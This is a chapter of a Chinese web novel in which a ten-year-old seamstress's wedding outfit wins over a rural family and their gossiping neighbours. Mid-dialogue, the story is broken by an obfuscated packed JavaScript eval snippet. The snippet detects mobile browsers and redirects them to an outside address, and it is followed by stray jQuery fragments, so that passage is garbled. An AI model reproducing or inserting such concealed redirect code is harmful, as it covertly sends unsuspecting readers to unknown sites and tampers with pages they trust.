小宴/文
孙家日子过得好,孙大伯娘又是孙家长媳,在田沟村里向来是妇女们热衷结交的对象。但有人面上附庸,也就有人背地嚼舌。孙三娘的好亲事在说定那日就成了田沟村老少媳妇们津津乐道的话题,能从他们这小村子嫁去县城中的殷实人家,自是有不少人眼红。但往常大家最多是茶余饭后闲磕牙,当面来酸还是头一次。
孙大伯娘脸色有几分不太好,一双凤眼剜过去,很是不爽。
但要让她出言扳回一城……她望向个子还是小不点的李瑜,又实在没那般底气。
还好回门来的孙元娘机敏,上前拽了母亲袖子一下,拖着她先进了房去。
这次,反倒是一贯本分老实的赵氏显出几分从容来,她朝李瑜使了眼色,嘴角含着笑,不疾不徐地领着李瑜踏进屋子,还劝慰孙大伯娘,“嫂子,你别与她们一般见识。”
孙大伯娘进了内室,往炕沿上赌气似的恨恨坐下去,不悦地吐槽:“这些人真没意思,我家好好的喜事,从她嘴里说出来,跟我卖了女儿似的。”
孙元娘倒了水给母亲送到手边,“娘,还是先看看妹妹的喜服吧,这才是大事。”
孙大伯娘平了平气,望向一旁的李瑜。虽听三娘在耳边夸赞过几次李瑜的本事,但她没太往心里去。一则是不愿生出太多希冀,免得对方做不好嫁衣,徒增失落;再则是,十岁的小姑娘,只消针脚细密些、裁剪齐整些,就足够让人吃惊了。孙大伯娘想着,纵她有些天赋,也不过就是做出一件没什么差错的嫁衣罢了。
能这般就好。
孙大伯娘招手让三娘到自己身边,也生怕女儿太失望,给她铺垫道:“三娘,你须记得,你这门亲事已结得很实惠了。别说旁人,就是你大姐姐当年收到的礼金,都不如你今日多。有这些给你压箱,娘对你啊,是问心无愧。切莫听外人闲言碎语,与人争没用的气。日子是自己脚踏实地过的,能嫁去县里,你已然强上许多姑娘了,不管你的喜服什么样,都抹不掉你未来的好缘法!”
李瑜听孙大伯娘这般教育女儿,禁不住都想鼓掌叫好了。作为普通人的一生,兴许没什么大起大落、惊心动魄的遭遇。只要能稳住心态,过好自己的生活,就已经不错了。孙家在田沟村里算是富贵,可要到县城里看,便数不上了。孙三娘自打结了这门亲,一直患得患失,幸而孙大伯娘清醒,时时提点女儿放平心态,才叫她撑住了。
此刻,孙三娘闻言点点头,已不复最初的毛躁忐忑,朝李瑜很镇定地一笑,“鲤鱼妹妹,你放心拿来给我瞧吧。我娘说的道理我都明白,你肯为我做嫁衣,已是一段缘分了,不管什么样,我都会谢谢你的!”
赵氏听得发乐,一边帮着李瑜解开包袱,一边说:“你们娘儿俩不必说这般客套的话,我家丫儿实在是为你们尽心做了……丫儿,快,拿去给你三娘姐姐瞧瞧!”
经李瑜悉心呵护,那红缎子依旧锃光瓦亮。这是孙元娘头一次见到妹妹喜服的材质,登时惊讶地瞪眼:“娘……这是绸缎?!”
“对,是人家给你妹妹的聘礼。”孙大伯已瞧过了这缎子的细腻,语气显得淡定多了。
李瑜先将上衣取出来,是一件款式寻常的斜襟袄子款式,袖子裁得是琵琶袖的形状,猛一抖开,光泽亮丽的红缎自然舒展,晃得孙元娘眼前一花,她不自觉露出几分艳羡,口中喃喃:“天……”
孙三娘自己接过了那上衣,触手摸了摸,见那针脚细致,走线整齐,虽不诧异,但仍心底惊喜,捧到母亲与长姐面前,连连说:“娘,你看,我说什么来着?鲤鱼妹妹确实很会裁衣的!”
孙大伯娘是过来人,翻过袖口往里一看,再观斜襟,便颔首,作出长辈的称赞姿态:“好孩子,是有些功夫在的。”
赵氏笑吟吟,打断了母女三人交谈,冲李瑜刚拿出来的裙子努嘴:“大嫂子,你们再看看这个。”
孙家母女三人依言望去,李瑜刚刚好将马面裙展开,于是那母女三人同时都是一怔。
赵氏眼瞧着孙三娘又惊又喜地捂住嘴,满脸都写着不可置信。饶是孙大伯娘常进县城,见多识广,也是不自觉地微微张口,眼神错愕。孙元娘倒是第一个反应过来的,她指着那裙子,颤声问:“李家妹妹,这是……这是你做的?”
她嫁得早,与李瑜根本不熟悉。原听说她为妹妹做嫁衣,还觉得母亲行事太恣意了些。但瞧见这裙子出来,彻底钦服了。
她们不是没见过这样形制的裙子,恰恰是因为见过,且每每见到,都是穿在那极富贵的大家太太或小姐身上,这才惊呆了。
孙元娘嫁得其实并不输给妹妹,虽不在县城里,但是隔壁的方家村中。方家村里是出过官儿的,乃是大姓之村,也富裕。村子里有祠堂、有戏台,甚至还有村学。像孙元娘嫁的人家,还有余钱买着一个使唤丫头,帮着干许多家中粗活脏活,她过去做新媳妇,几乎没怎么吃磋磨人的苦。
饶是这般,她们村子里也没人穿过这样的裙子上身。
并不是没钱买布,而是其一,有布,寻常也舍不得这样穿,裙摆上一层叠一层的褶子,固然好看,但同样的布料,足够再做一条裙子了;其二,即便有舍得的人家,也并不会这种裁法儿。既不知怎么固定褶子,更不知如何裁缝。若想穿成这样,那就必得上县里去寻大户人家出来的针线娘子,还得是手法老成、不会轻易做坏费了料的。这样的针线娘子,哪是几贯钱就能雇上的?须得花银子了。
赵氏见孙家母女三个傻了的样子,抑制不住心中的骄傲。她捡来这闺女真是有本事的!一出手,连孙家都觉出稀罕了。她兴奋地将那裙子塞进孙三娘手里,嘴上说:“三娘,看傻了?还不赶紧上身试一试,叫婶子看看,你穿上什么样!”
“哎、哎……”孙三娘接过那裙子,却不敢动了。
她从来没穿过。
还是孙元娘持重些,揽过妹妹,跃跃欲试地说:“来,姐姐帮你!”
姐妹两人,一道进屋去了。
孙大伯娘此刻再看李瑜,眼神已全然变了。这喜服……哪里是将就啊!简直是奢华!
她上手握住李瑜,激动道:“好闺女,你太有本事了,大伯娘真不知怎么谢你才好!”
李瑜笑嘻嘻的,还摆手,很谦虚,“大伯娘过誉啦,还是先看看三娘姐姐穿上合不合身吧。”
赵氏揽着她,禁不住偷偷捏了捏李瑜的小肩膀。这孩子,真沉得住气!
片刻,孙元娘拥着孙三娘,从里屋缓慢地走了出来。
孙三娘每一步都走得小心翼翼,像是生怕毁坏了裙子一般。孙元娘目不转睛地盯着妹妹的裙摆,眼底有着无法克制的艳羡。再观孙大伯娘,竟已是彻底惊掉下巴了!
因孙三娘每走一步,她身上的裙幅就随着小腿晃开一层,百褶也随之一荡,仿佛步步生莲。
孙大伯娘早先还以为走路能走出这种风度,是那些大家闺秀豪门太太们教养不同,没想到,区别就只在这一条裙子上?
李瑜忖度着孙三娘搞不好会长个,裙子的长度特地留到能盖住脚背的尺寸,存了些余地。如今孙三娘上身,确实就是刚刚好,裙面从脚踝处一步一步地轻蹭着,十分优雅好看。
就连提前见过这条裙子的赵氏都被孙三娘上身后的效果迷住了,她将孙大伯娘的心里话说了出来,“哦哟,咱们三娘真是一下子贵气了!跟那名门淑女真是毫无分别,走起路来踩在云上似的!”
孙大伯娘猛点头,“是是,真像了……我都不敢信这是我养的闺女。”
孙三娘被夸得满面绯红,也不知是激动还是害羞,死死攥着姐姐的手,连声问:“姐姐,我这样嫁去县里,还合适吗?”
“合适,太合适了。”孙元娘毫不吝啬对妹妹的称赞,“旁人必要说一声门当户对,谁还能瞧出咱们只是农家的?”
孙大伯娘忽地想起什么,猛地站起身来,“三娘,来,咱们这就打开门,叫外头那些闲妇见识见识,看谁还有脸来说咱们的酸话!”
李瑜绷不住,抿着嘴唇笑了。
原来孙大伯娘也不是完全不理旁人的闲言碎语,只是战术性稳住心态。
瞧,这有能扬眉吐气的机会,不立刻就抓住了?
孙大伯娘自己先迈了出去,她昂首挺胸站在门口,佯咳两声,将外面妇人的注意力俱吸引了过来。她一眼辨认出说酸话的那两家妇人,直盯着,假笑道:“老姐妹们不是都想瞧我家三娘的喜服?我本不欲显摆,实在捺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403352|184366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过咱们邻里邻居的情分。便请大家一起掌掌眼,看看可还合身。”
那两家妇人面面相觑,不知她卖什么关子。但院子里旁余人等倒也好奇,均搁置了手里事,一边道着恭喜,一边围涌上来。就连孙家妯娌几个并女孩,也纷纷说:“三娘呢?快让我们看看!”
元娘闻言,这才扶着妹妹小心地走了出来。
众人但见孙三娘一身红缎如霞,竟有几分富贵逼人的架势,都惊呆了。
孙三娘怕被院子里的灰土弄脏了新衣,不肯出廊子,只在门口徘徊了几步。
妇人们虽隔得远,却也都看到了孙三娘那裙摆样式,若不是人人都识得孙三娘的相貌,还以为是来了县城中哪家的大小姐,活似是凤凰落进鸟窝。女人们从默到闹不过瞬息,此刻都已一叠声地叫嚷开来,有那与孙家关系同样亲厚的,抢着问:“孙大嫂子,你这是花了大钱,去县里请了针线娘子不成?”
“必然是了。”有人替答,“大嫂子,你待三娘也太舍得了些。这得花费多少银子啊?”
也有不好意思的,不敢扬声发问,只窃窃私语,“这喜服太阔气了,若我家闺女出嫁时也能有这么一身儿就好了。”
“咱哪攒得下这些钱,便是有钱,哪舍得单花到嫁衣上!”女人们交头接耳。
孙大伯娘看着那说酸话的人都青着脸,不敢再吭声,不由笑意堆了满脸,爽快地回答:“是,我是请了人,却不是去了县里,而是请了咱们村儿老李家的丫头。”
“李家?李大嫂吗?”“李大嫂,你还有这般本事?”
即便是村子里,女人们也对穿衣打扮有着天然的向往,此时争抢着叫问起来。
赵氏赶紧从屋门里走出来,忙摆手,“不是我,不是我,是我闺女。”
妇人们愕住,“你家那小鲤鱼?”
“她不是才十来岁?”
“这喜服是她做的?”
所有人的目光一下子开始寻找起了李瑜,也纷纷恍然——难怪赵氏带着女儿一来,孙大伯娘立刻谁也不理,专为她二人让路。那李家小小闺女有如此本事,整治出这么厉害的一身嫁衣来,孙家可不得厚待?
众人殷切,又想招呼李瑜出来问个究竟。
可孙大伯娘逞够了风头,不愿再叫女儿站到这狼烟灰土的院子里,生怕这样一身精致的喜服落了尘,待出门的日子就不好看了。她打断了众人迭声热闹,只说:“待到我家三娘出门的时候,必摆流水席,到时候请各位嫂子弟妹到家来吃酒,你们有什么想问的,再问也不迟!”
说完,孙大伯娘便重新挽着赵氏返回房里,再度闭了门。
她坐下来,由衷地呼出一口得意的气,眉目舒展,笑容可掬。一旁的孙三娘被人打趣得虽羞,但眼底亮晶晶的,她与姐姐双手交握,目光里全然是对未来生活的向往与期待。
李瑜从旁观望,也被这种喜气洋洋的情绪感染。
她并不是时装设计师,不太习惯于走到秀场的中心接受鲜花与掌声。恰恰相反,因为她学的是戏服设计,一直以来都在做幕后工作。外面声音仍嘈嘈杂杂的,三五不时就有几句提到李瑜名字的议论,李瑜浑没那么在意。
她全然沉浸在凭自己双手,为旁人带来幸福的感觉里。那种油然而生的自豪与成就感,久违地席卷心头。不再是寄生在一个陌生家庭里,靠看养父母的眼色谨慎度日的惶恐,也不是每每被大哥二哥偏爱关照后,不知如何为报的心虚,这一刻,她内心充盈而踏实,像在水里飘荡许久的浮萍,终于生出了根。
不知觉中,她笑得见牙不见眼。
“傻乐什么呢?小丫头!”孙大伯娘看见她在笑,揽过她,很使劲地揉搓了一把李瑜的头发。这动作、口吻间的亲密意味,与往昔邻里间的客气截然不同。
李瑜诚恳道:“三娘姐姐好事将近,我为她高兴。”
孙大伯娘被提醒了什么似的,忽地起身,进了内室去。李瑜和赵氏对视了一眼,不知何意,连孙元娘和孙三娘都好奇地回过头,隔着门扇问:“娘,你进去做什么?”
孙大伯娘没回答,半晌才出来,竟抱了重重的一贯铜钱,放到了桌上。
“来,鲤鱼丫头,这是酬谢你的!”